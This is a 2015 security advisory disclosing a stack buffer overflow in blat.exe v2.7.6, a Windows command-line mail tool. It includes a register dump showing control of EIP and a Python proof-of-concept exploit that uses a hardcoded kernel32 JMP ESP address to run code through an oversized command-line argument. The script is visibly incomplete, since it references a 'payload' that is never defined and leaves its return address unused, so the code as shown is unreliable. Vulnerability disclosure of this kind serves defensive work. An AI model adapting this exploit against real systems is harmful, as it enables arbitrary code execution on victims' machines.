Blat.exe v2.7.6 SMTP / NNTP Mailer Buffer Overflow

Subject: Blat.exe v2.7.6 SMTP / NNTP Mailer Buffer Overflow

[+] Credits: hyp3rlinx

[+] Website:

[+] Source:


Blat v2.7.6

blat.exe is a Win32 is a command line eMail tool
that sends eMail using SMTP or post to usenet using NNTP.

Vulnerability Type:
Stack Buffer Overflow

CVE Reference:

Vulnerability Details:
An older release of blat.exe v2.7.6 is prone to a stack based buffer overflow when sending
malicious command line arguments, we need to send two arguments first can be whatever e.g. "AAAA"
then second argument to trigger the buffer overflow and execute arbitrary code on the victims OS.

Stack dump...

EAX 00000826
ECX 0018E828 ASCII "Blat saw and processed these options, and was confused by the last one...
EDX 0008E3C8
EBX 000000E1
EBP 41414141
ESI 00426E88 blat.00426E88
EDI 00272FD8
EIP 41414141   <-------------- BOOM!

C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDD000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)

Exploit code(s):

Python script to exploit...

import struct,os,subprocess

#pop calc.exe Windows 7 SP1

vulnpgm="C:\\blat276\\full\\blat.exe "
eip=struct.pack('<L', 0x776D0115)      #<--- JMP ESP kernel32.dll

subprocess.Popen([vulnpgm, "A"*4, payload], shell=False)

Disclosure Timeline:
Oct 14, 2015  : Public Disclosure

Severity Level:


[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx

Copyright © 1995-2020 All rights reserved.